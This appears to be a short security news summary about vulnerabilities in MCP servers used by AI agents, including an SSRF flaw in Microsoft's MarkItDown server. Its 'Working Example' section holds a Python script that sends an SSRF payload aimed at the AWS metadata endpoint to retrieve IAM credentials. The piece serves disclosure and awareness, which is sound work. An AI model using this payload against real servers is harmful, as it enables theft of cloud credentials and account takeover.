Microsoft & Anthropic MCP Servers at Risk of RCE, Cloud Takeovers

MCP Servers Carry SSRF Risks

Popular model context protocol (MCP) servers, essential components of AI services, are vulnerable to serious cybersecurity issues. Researchers revealed exploit chains weaponizing Anthropic’s Git and filesystem MCP servers for remote code execution (RCE) and identified a severe server-side request forgery (SSRF) vulnerability in Microsoft’s MarkItDown MCP server.

The rapid growth of AI and autonomous agents has outpaced security considerations, creating a complex threat landscape. While ideal models envision contained AI interactions, the reality is that LLMs now connect to external data sources via MCP servers, often with inadequate security measures, potentially exposing organizations to significant data breaches and unauthorized access – estimated to cost billions annually in remediation and fines.

Key Insights

• SSRF vulnerability in Microsoft MarkItDown MCP server, January 2026: Allows attackers to access internal resources and potentially retrieve cloud credentials.
• MCP servers rely on user input for file locations: This creates an inherent risk of SSRF attacks if input is not properly validated.
• Anthropic’s initial MCP design lacked built-in security: Leaving security implementation to the user resulted in widespread vulnerabilities.

Working Example

# Example of a vulnerable request to MarkItDown MCP server
import requests

# Replace with the actual URL of the MarkItDown server
target_url = "http://example.com/convert"

# Payload to trigger SSRF - attempt to access AWS metadata
payload = {
    "file_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"
}

try:
    response = requests.post(target_url, data=payload)
    response.raise_for_status()  # Raise HTTPError for bad responses (4xx or 5xx)
    print(response.text)  # Print the response, potentially containing AWS credentials
except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

Practical Applications

• Financial Institutions: MCP servers used for AI-powered customer service could be exploited to access sensitive customer data.
• Pitfall: Relying on open-source components without thorough security audits can introduce vulnerabilities like the SSRF issue in MarkItDown.

References:

• https://www.darkreading.com/application-security/microsoft-anthropic-mcp-servers-risk-takeovers